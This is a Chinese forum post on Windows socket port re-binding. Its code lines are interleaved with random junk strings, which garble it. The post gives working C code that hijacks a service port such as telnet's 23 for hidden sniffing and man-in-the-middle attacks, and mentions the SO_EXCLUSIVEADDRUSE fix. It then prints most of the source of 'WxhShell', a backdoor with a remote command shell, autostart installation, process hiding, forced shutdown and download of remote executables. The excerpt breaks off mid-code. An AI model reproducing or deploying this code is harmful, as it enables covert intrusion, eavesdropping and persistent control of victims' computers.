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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: up# R9 d|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y@T 0 jI  
rx$B(z(c  
  saddr.sin_family = AF_INET; Gr&)5hm$  
k\ 2.\Lwb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h^H~q<R[T  
dGNg[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H}nPaw]G  
EAdr}io  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *_qW;l7  
Ib~n}SA  
  这意味着什么?意味着可以进行如下的攻击: dN8@ 0AMSf  
O/?Lk*r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fcim4dfP  
J&B>"s,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) + YjK#  
hxXl0egI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (3_m[N\F  
e"){B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }[$qn|  
1+{V^) V?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6]Vf`i  
*(?tf{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ai~j q  
M<%g)jn_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :c_>(~  
J%:D%=9 )  
  #include Dh4 EP/=z  
  #include 7V="/0a  
  #include .8v[ss6:  
  #include    qubyZ8hx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .$rt>u,8<  
  int main() .#4;em%7  
  { ~+HZQv3Y  
  WORD wVersionRequested; b: c$EPK  
  DWORD ret; U#X6KRZ~g  
  WSADATA wsaData; <Rno ;  
  BOOL val; KysJ3G.k\  
  SOCKADDR_IN saddr; ){sn!5=  
  SOCKADDR_IN scaddr; /Cl=;^)  
  int err; .*x |TPv{  
  SOCKET s;  av!'UZP  
  SOCKET sc; B=R9K3f  
  int caddsize; x =7qC#+)  
  HANDLE mt; z5UY0>+VdS  
  DWORD tid;   0C,2gcq  
  wVersionRequested = MAKEWORD( 2, 2 ); iVQ)hs W/  
  err = WSAStartup( wVersionRequested, &wsaData ); ^T.icSxP  
  if ( err != 0 ) { n{@^ne4 m  
  printf("error!WSAStartup failed!\n"); 1p DL()t  
  return -1; 5?yc*mOZ  
  } ^(:Z*+X~>  
  saddr.sin_family = AF_INET; z+=wql*Eo  
   W,53|9b@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d$;1%rRj8  
}23#z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U~}cib5W5  
  saddr.sin_port = htons(23); Z'V"nhL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) op|:XLR5  
  { )d^b\On  
  printf("error!socket failed!\n"); tw*n+{]hi  
  return -1; _ft)e3Gf  
  } N+V_[qr#  
  val = TRUE; Fb^Ae6/i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {<k}U;uiO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )Z.M(P  
  { `SN?4;N0  
  printf("error!setsockopt failed!\n"); 7Gs0DwV  
  return -1; aP}%&{iC*  
  } MB#KLTwnT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q_gsYb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .o"FT~}z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @XSxoUF\  
yrgb6)]nm@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4or8fG  
  { a+_F^   
  ret=GetLastError(); *9?T?S|^$F  
  printf("error!bind failed!\n"); )tB1jcI;  
  return -1; ,iYKtS3  
  } [-pB}1Dxb  
  listen(s,2); 2TZ+R7B?  
  while(1) (+=TKI<=  
  { ^;xO-;q  
  caddsize = sizeof(scaddr); >RL|W}tI4  
  //接受连接请求 ` g5S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -g6C;<Y  
  if(sc!=INVALID_SOCKET) : ~R:[T2P  
  { ==W`qC4n?n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \NN5'DBx  
  if(mt==NULL) @m99xF\e  
  { wsg u# as|  
  printf("Thread Creat Failed!\n"); H5 'Le{  
  break; w]Fi:kV  
  } ~l@-gAyw  
  } 3~uWrZ.u  
  CloseHandle(mt); SyWLPh  
  } b#2$Pd:(  
  closesocket(s); 1X45~  
  WSACleanup(); B<A=U r  
  return 0; hV6=-QL*B  
  }   5 Y|(i1  
  DWORD WINAPI ClientThread(LPVOID lpParam) _);;@T  
  { m@W\Pic,j.  
  SOCKET ss = (SOCKET)lpParam; }s7ibm'  
  SOCKET sc; >FRJvZ6  
  unsigned char buf[4096]; )ZP-t!).G#  
  SOCKADDR_IN saddr; 3IK+&hk  
  long num; ?V>\9?zb  
  DWORD val; WV8?zB1  
  DWORD ret; B2uLfi$q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6x _tX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~1`ZPLVG  
  saddr.sin_family = AF_INET; yN Bb(!u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OlV'#D   
  saddr.sin_port = htons(23); -1>$3-ur~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vMQvq9T}  
  { @}^eyS$|!  
  printf("error!socket failed!\n"); 2' 8$I}h  
  return -1; |4XR [eX  
  } OGjeE4  
  val = 100; $7 08\!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \~YyY'J  
  { H:DTvv8e{  
  ret = GetLastError(); %](H?'H  
  return -1; 96&Y  
  } .$k2.-k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mO UIGlv  
  { N]k(8K  
  ret = GetLastError(); pNHO;N[&  
  return -1; P 3CzX48^  
  } ;goR0PN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xGzp}   
  { l5m5H,`  
  printf("error!socket connect failed!\n"); #] @<YKoV{  
  closesocket(sc); zMXlLRC0  
  closesocket(ss); Zy -&g:  
  return -1; 6#JdQ[IP6  
  } 0V:DeX$bZ  
  while(1) YJ&K0 %R  
  { ~[mAv #d&i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E/MNz}+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g]z[!&%Ahs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8%$Vj  
  num = recv(ss,buf,4096,0); ?`nF"u>  
  if(num>0) CFW\  
  send(sc,buf,num,0); 9 pGND]tIi  
  else if(num==0) >tq,F"2amC  
  break; fDn|o"  
  num = recv(sc,buf,4096,0); ^Fl6-|^~  
  if(num>0) Y!kz0([  
  send(ss,buf,num,0); Q/%(&4>'y  
  else if(num==0) s{-`y`JP  
  break; C6XTId=y#_  
  } vu%:0p` K  
  closesocket(ss); pX:FXzYQ  
  closesocket(sc); m})q8b!S  
  return 0 ; 93Yo }6>  
  } LWB"}#vt  
;BEg"cm  
gDw:Z/1X`  
========================================================== ?,J N?  
ICD(#m  
下边附上一个代码,,WXhSHELL D<rO:Er?*a  
.qyk[O  
========================================================== !OJ@ =y`i  
C*}TY)8  
#include "stdafx.h" sOJH$G3O  
rx*1S/\PPc  
#include <stdio.h> oRM,_  
#include <string.h> Tr1#=&N0  
#include <windows.h> wl{Fx+<^3  
#include <winsock2.h> 41<.e` {  
#include <winsvc.h> S8O^^jJq;  
#include <urlmon.h> J~5VL |ca  
Jlw oSe:S  
#pragma comment (lib, "Ws2_32.lib") f:k3j}&  
#pragma comment (lib, "urlmon.lib") iQczvn)"m  
v hUn3|  
#define MAX_USER   100 // 最大客户端连接数 1NO<K`  
#define BUF_SOCK   200 // sock buffer *f~X wy"  
#define KEY_BUFF   255 // 输入 buffer [_jTy;E  
)* @Oz  
#define REBOOT     0   // 重启 +igFIoHTM  
#define SHUTDOWN   1   // 关机 U9;C#9E  
IKM=Q. 7j  
#define DEF_PORT   5000 // 监听端口 "HW~|M7>(  
X6mY#T'fQ  
#define REG_LEN     16   // 注册表键长度 A2z%zMlZc  
#define SVC_LEN     80   // NT服务名长度 ?aInn:FE  
?op6_a-wm  
// 从dll定义API Ga-AhP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4A%O`&eZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yV :DR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #F5O>9hA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0X\,!FL  
N}wi<P:*)  
// wxhshell配置信息 .J3lo:  
struct WSCFG { 9hI4',(rE  
  int ws_port;         // 监听端口 WKZ9i2hcdf  
  char ws_passstr[REG_LEN]; // 口令 I<*U^e  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8=Di+r  
  char ws_regname[REG_LEN]; // 注册表键名 %@L(A1"#D  
  char ws_svcname[REG_LEN]; // 服务名 TuphCu+Oh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "A^9WhUpJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3Juhn5&N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u>H^bCXI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z2og&|uT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F#@Mf?#2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )'M<q,@<(  
v\:>} <gc  
}; \cvui^^n  
qgw:Q  
// default Wxhshell configuration q@P5c  
struct WSCFG wscfg={DEF_PORT, ?gjM]Ki%:  
    "xuhuanlingzhe", ;}3wT,=sN  
    1, j& f-yc'i-  
    "Wxhshell", a3 wUB  
    "Wxhshell", Y_S^B)y  
            "WxhShell Service", ,T_HE3K  
    "Wrsky Windows CmdShell Service", Z~$=V:EA?  
    "Please Input Your Password: ", $k*E^~qT  
  1, 0R<@*  
  "http://www.wrsky.com/wxhshell.exe", r ,|T@|{  
  "Wxhshell.exe" {AqN@i  
    }; :*#AJV)  
e{Pgz0sO Q  
// 消息定义模块 eh nN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "ji4x y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uXW<8( %W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rE[*i q,#  
char *msg_ws_ext="\n\rExit."; ~\}%6W[2  
char *msg_ws_end="\n\rQuit."; e{.2*>pH  
char *msg_ws_boot="\n\rReboot..."; Skl1%`  
char *msg_ws_poff="\n\rShutdown..."; B+eB=KL  
char *msg_ws_down="\n\rSave to "; \dCoY0Z ;  
=(K;z9OR  
char *msg_ws_err="\n\rErr!"; pq+Gsu1^  
char *msg_ws_ok="\n\rOK!"; 3D +>NB  
"EF: +gi#"  
char ExeFile[MAX_PATH]; m!a<\0^  
int nUser = 0; ,*a8]L  
HANDLE handles[MAX_USER]; d4/snvq  
int OsIsNt; dgE|*1/0  
bSU9sg\  
SERVICE_STATUS       serviceStatus; ()v[@"J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oHB51< }  
YN9ug3O+  
// 函数声明 IfeG"ua|  
int Install(void); cIK-VmO  
int Uninstall(void); fyYT#r  
int DownloadFile(char *sURL, SOCKET wsh); Z%6I$KAN8  
int Boot(int flag);  :D} xT]  
void HideProc(void); ?Q wDV`  
int GetOsVer(void); "d/x`Dx  
int Wxhshell(SOCKET wsl); }&d]Uv/4  
void TalkWithClient(void *cs); #?YQ&o~gZ  
int CmdShell(SOCKET sock); Xl;u  
int StartFromService(void); 0XSZ3dY&+  
int StartWxhshell(LPSTR lpCmdLine); pY!@w0.  
-OZXl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qxG @Zd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \;I%>yOIu  
<w+K$WE {  
// 数据结构和表定义 4Wk/^*?  
SERVICE_TABLE_ENTRY DispatchTable[] = PbJn8o   
{ 7ml,  
{wscfg.ws_svcname, NTServiceMain}, 2TmQaDu%b  
{NULL, NULL} jl{>>TW{x  
}; :R{Xd{?  
]MfT5#(6h  
// 自我安装 zIf/jk  
int Install(void) uNxR#S  
{ M['8zN  
  char svExeFile[MAX_PATH]; `22F@JYN  
  HKEY key; tcSn`+Bu_`  
  strcpy(svExeFile,ExeFile); BOrfKtG\  
*e H[~4  
// 如果是win9x系统,修改注册表设为自启动 *^ \xH,.  
if(!OsIsNt) { `8\ _ ]w0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d2'9C6t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z+' 7c|a  
  RegCloseKey(key); u^s{r`/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ={~`0,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %g^dB M#  
  RegCloseKey(key); `][~0\Y3m  
  return 0; Q 6{2@  
    } D*|h c  
  } i{I'+%~R  
} 1>c`c]s3  
else { L}P<iB   
;VSHXU'H  
// 如果是NT以上系统,安装为系统服务 U O YM   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gs_"H  
if (schSCManager!=0) w[I%Id;E  
{ ((7~o?Vbg  
  SC_HANDLE schService = CreateService ,v4Z[ (  
  ( F6dm_Oq&  
  schSCManager, !sfOde)$  
  wscfg.ws_svcname, y)t< r  
  wscfg.ws_svcdisp, Q%o ]&Hdn  
  SERVICE_ALL_ACCESS, +M$2:[xRT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QKL5! L9`  
  SERVICE_AUTO_START, Wy.2*+5FX0  
  SERVICE_ERROR_NORMAL, RnPJ,Z5s&&  
  svExeFile, "G)-:!H  
  NULL, x|<rt96 6A  
  NULL, d!{,[8&  
  NULL, K 4j'e6  
  NULL, \om$%FUP  
  NULL %a<N[H3NV@  
  ); 1Cki}$k@  
  if (schService!=0) .n[!3X|d  
  { ^*#5iT8/  
  CloseServiceHandle(schService); ,'v]U@WK  
  CloseServiceHandle(schSCManager); 1"RO)&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X@:pys 8@  
  strcat(svExeFile,wscfg.ws_svcname); Tm-Nz7U^^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  ]hpocr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @\e2Q& O  
  RegCloseKey(key); 0V`s 3,k  
  return 0; j#$ R.  
    } Q9tBHz  
  } a)^f`s^aa  
  CloseServiceHandle(schSCManager); ;g?oU "YM  
} U2\g Kg[-Q  
} 6]^ShOX_Z  
A1Ia9@=Mf  
return 1; GKu@8Ol-wu  
} }OZ%U2PU  
75v 5/5zRn  
// 自我卸载 @(Wx(3JR?}  
int Uninstall(void) \-a^8{.^E  
{ !*HH5qh6  
  HKEY key; mjO4GpG3  
=o^oMn  
if(!OsIsNt) { %W~Kx_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eq c&iS~  
  RegDeleteValue(key,wscfg.ws_regname); 5+].$  
  RegCloseKey(key); >&6pBtC_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eo 5p-  
  RegDeleteValue(key,wscfg.ws_regname); OJPx V~y  
  RegCloseKey(key); eu@hmR8T  
  return 0; A&*lb7X  
  } De%WT:v  
} 4|YCBXWh  
} CE]0OY  
else { }R4%%)j(Vj  
Pz7{dQqjk#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PeGA+0bm  
if (schSCManager!=0) ,*$L_itL  
{ Aw9se"d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <aR9,:  
  if (schService!=0) M]4qS('[  
  { T;K@3]FbX  
  if(DeleteService(schService)!=0) { OF J49X  
  CloseServiceHandle(schService); s kC*  
  CloseServiceHandle(schSCManager); by!1L1[JTt  
  return 0; ,e$]jC<sv2  
  }  >Eg/ir0  
  CloseServiceHandle(schService); 4XpW#>  
  } qp3J/(F  
  CloseServiceHandle(schSCManager); DjY&)oce(  
} r'0IAJ-;  
} 'X_8j` ]#  
{`?C5<r  
return 1; eH,r%r,  
} l)tK/1 W  
qn) VKx=  
// 从指定url下载文件 q-gp;Fm  
int DownloadFile(char *sURL, SOCKET wsh) ,l/~epx4v)  
{ 1bjhEO W  
  HRESULT hr; :cU6W2EV  
char seps[]= "/"; g(Q)fw  
char *token; 5-'jYp/  
char *file; eGcc'LBr;  
char myURL[MAX_PATH]; 2..b/  
char myFILE[MAX_PATH]; K;kaWV  
Xq:jp+WSG  
strcpy(myURL,sURL); r9nH6 Md\  
  token=strtok(myURL,seps); !bs{/?  
  while(token!=NULL) GF 4k  
  { RhwqAok|lj  
    file=token; yF2|w=!  
  token=strtok(NULL,seps); qJV2x.!  
  } c#o(y6  
/zxLnT; 5  
GetCurrentDirectory(MAX_PATH,myFILE); <[iw1>  
strcat(myFILE, "\\"); ,36AR|IO)  
strcat(myFILE, file); me-Tv7WL  
  send(wsh,myFILE,strlen(myFILE),0); I ACpUB  
send(wsh,"...",3,0); U`YPzZp_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n-ZOe]3  
  if(hr==S_OK) i,#j@R@.C7  
return 0; 2stBW5v3  
else \l)Jb*t  
return 1; 2 I:x)  
v9?hcJ=  
} 7oUecyoj  
hF m_`J&"  
// 系统电源模块 4#<r}j12z  
int Boot(int flag) |5J'`1W  
{ A'A5.\UN  
  HANDLE hToken; %Xe#'qNq)  
  TOKEN_PRIVILEGES tkp; ]rwHr;.  
yg}zK>j^vC  
  if(OsIsNt) { RP!!6A6:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JSXJlau  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h"C7l#u  
    tkp.PrivilegeCount = 1; y $i^C:N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9E`WZo^.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U`)\|\NY  
if(flag==REBOOT) { n8h1S lK08  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C8^h`B9z&I  
  return 0; kHWW\?O  
} MH wjJ  
else { y4N8B:j%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &# [w*t(A  
  return 0; tW^oa  
} /#<R  
  } IKz3IR eu  
  else { t(~V:+W9  
if(flag==REBOOT) { $ ,:3I*}be  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a:q>7V|%$  
  return 0; )GT*HJR(vc  
} c >O>|*I  
else { !xE /  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F.rNh`44  
  return 0; mB\)Q J.%  
} xX !`0T7Y  
} 95XQ?%  
j ."L=  
return 1; :D|5E>o(  
} l+ ,p=  
6%-RKQi  
// win9x进程隐藏模块 xM+_rU M|h  
void HideProc(void) "_f~8f`y  
{ &gxWdG}qx]  
]2_b_ok  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^ gMkQYo(#  
  if ( hKernel != NULL ) 9 HiH6f^5  
  { cD%_+@GaU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5n0B`A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i?3~Gog  
    FreeLibrary(hKernel); \4`:~c  
  } 8mm]>u$  
ShIJ6LZ  
return; k#g` n3L  
} 6*aU^#Hz6  
4\_~B{kzZ  
// 获取操作系统版本 JhU"akoK  
int GetOsVer(void) XsEo tW  
{ /g]NC?  
  OSVERSIONINFO winfo; s+-V^{Ht  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?Tlt(%f  
  GetVersionEx(&winfo); /ucS*m:<x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pf:;iXH?  
  return 1; Nd h  
  else +^cjdH*  
  return 0; <-h[I&."  
} rj ] ~g  
=j"bLX6;  
// 客户端句柄模块 vf@toYc[E  
int Wxhshell(SOCKET wsl) !{+a2wi  
{ uqsVq0H  
  SOCKET wsh; 8yC/:_ML  
  struct sockaddr_in client; cakwGs_{  
  DWORD myID; xE5VXYU  
1wg#4h43l  
  while(nUser<MAX_USER) ,@]*Xgt=  
{ <'N~|B/yZ  
  int nSize=sizeof(client); [OYSNAs *y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [$D%]]/,  
  if(wsh==INVALID_SOCKET) return 1; RgD%pNhI  
6W/uoH=;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H oO1_{q"  
if(handles[nUser]==0) W) ?s''WE;  
  closesocket(wsh); lyzM?lK-  
else M%#F"^8v  
  nUser++; yTR5*{?j  
  } RDOV+2K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NpH:5hi  
= G>Y9Sc  
  return 0; v@,`(\Ca'  
} Ov;q]Vn>  
\HL66%b[  
// 关闭 socket +O4//FC-"  
void CloseIt(SOCKET wsh) zXW;W$7V4  
{ IqFmJs|C  
closesocket(wsh); `4,]Mr1b  
nUser--; o0_H(j?  
ExitThread(0); -HvJ&O.V$  
} zHD 8 \*  
`0`#Uf_/$  
// 客户端请求句柄 c27Zh=;Tj  
void TalkWithClient(void *cs) eB9F35[  
{ w19OOD  
e> Dux  
  SOCKET wsh=(SOCKET)cs; bD=R/yA  
  char pwd[SVC_LEN]; m A('MS2  
  char cmd[KEY_BUFF]; qOAhBZ~  
char chr[1]; LX}|%- iv  
int i,j; \j4!dOGZ  
Rl'xEtaN  
  while (nUser < MAX_USER) { *i"Mu00b  
W~5gTiBZ]  
if(wscfg.ws_passstr) { qE.3:bQ!`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s >k4G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OKA6S*  
  //ZeroMemory(pwd,KEY_BUFF); f\;f&GI  
      i=0; AD >/#Ul  
  while(i<SVC_LEN) { H'I5LYsXO~  
E)]emeG d  
  // 设置超时 ]d*O>Pm  
  fd_set FdRead; 4M;S&LA  
  struct timeval TimeOut; ]UrlFiR  
  FD_ZERO(&FdRead); ppu<k N  
  FD_SET(wsh,&FdRead); lUiO|  
  TimeOut.tv_sec=8; qnzNJ_ `R  
  TimeOut.tv_usec=0; qc3?Aplj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r<;Y4<,BZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D"K! ELGW  
!v*#E{r"g=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wKJK!P  
  pwd=chr[0]; @^`5;JiUk  
  if(chr[0]==0xd || chr[0]==0xa) { R%JEx3)0m  
  pwd=0; 6wb M$|yFj  
  break; Xm6M s<z6  
  } P.~sNd oJ  
  i++; tfv@ )9  
    } +EZr@  
tAb3ejCo?  
  // 如果是非法用户,关闭 socket .>'J ^^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !zxq9IhWR  
} `U;V-  
B,Jn.YX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CF5%&B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C |rl",&  
x_EU.924uY  
while(1) { %;`3I$  
1'5 !")r  
  ZeroMemory(cmd,KEY_BUFF); ) |hHbD^V  
Q?%v b  
      // 自动支持客户端 telnet标准    uMBb=   
  j=0; *kDV ^RBfq  
  while(j<KEY_BUFF) { 1xwq:vFC.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;"%luQA<w  
  cmd[j]=chr[0]; UKSI"/8I  
  if(chr[0]==0xa || chr[0]==0xd) { a[gN+DX%L  
  cmd[j]=0; <7X+-%yb;  
  break; 4_S%K&  
  } N?Ss/by8Sg  
  j++; OZh+x`' #  
    } < YuI}d~'  
J~G"D-l<9/  
  // 下载文件 k_Edug~B  
  if(strstr(cmd,"http://")) { . LNqU#a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); # /pZ#ny  
  if(DownloadFile(cmd,wsh)) F~O! J@4]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4U:+iumy2  
  else JGk,u6K7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]%%cc  
  } d>7bwG+k  
  else { o r]s  
%K]nX#.B&  
    switch(cmd[0]) { 2!Ex55  
  8|,-P=%t  
  // 帮助 cl-i6[F  
  case '?': { ^SRa!8z$W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]H<C Rw  
    break; x]U (EX`t$  
  } }c,}+{q  
  // 安装 'C*NyHc  
  case 'i': { )O%lh 8fI  
    if(Install()) -nT+!3A8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0Ca-T Rz  
    else efP2 C\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,K6]Q|U@r  
    break; 9Au+mIN  
    } UwQ3q  
  // 卸载 M !OI :v  
  case 'r': { ikRIL2Y  
    if(Uninstall()) @;,O V&XYn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fk(0q/b  
    else uf)W? `e~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bv@m)$9\+3  
    break; @+X}O /74  
    } %dT%r=%Y  
  // 显示 wxhshell 所在路径 +msHQk5#$m  
  case 'p': { PvT8XSlTx!  
    char svExeFile[MAX_PATH]; A1ebXXD )  
    strcpy(svExeFile,"\n\r"); Pe wPl0  
      strcat(svExeFile,ExeFile); #-HN[U?Gs  
        send(wsh,svExeFile,strlen(svExeFile),0); L kq>>?T=  
    break; }\ DQxHG  
    } 4+ k:j=x  
  // 重启 #1bgV  
  case 'b': { e<^4F%jSK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =OZ_\vO  
    if(Boot(REBOOT)) H@j^,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hy)RV=X  
    else { Ju9v n44  
    closesocket(wsh); };!c]/,  
    ExitThread(0); YKc{P"'/ |  
    } }t-r:R$,  
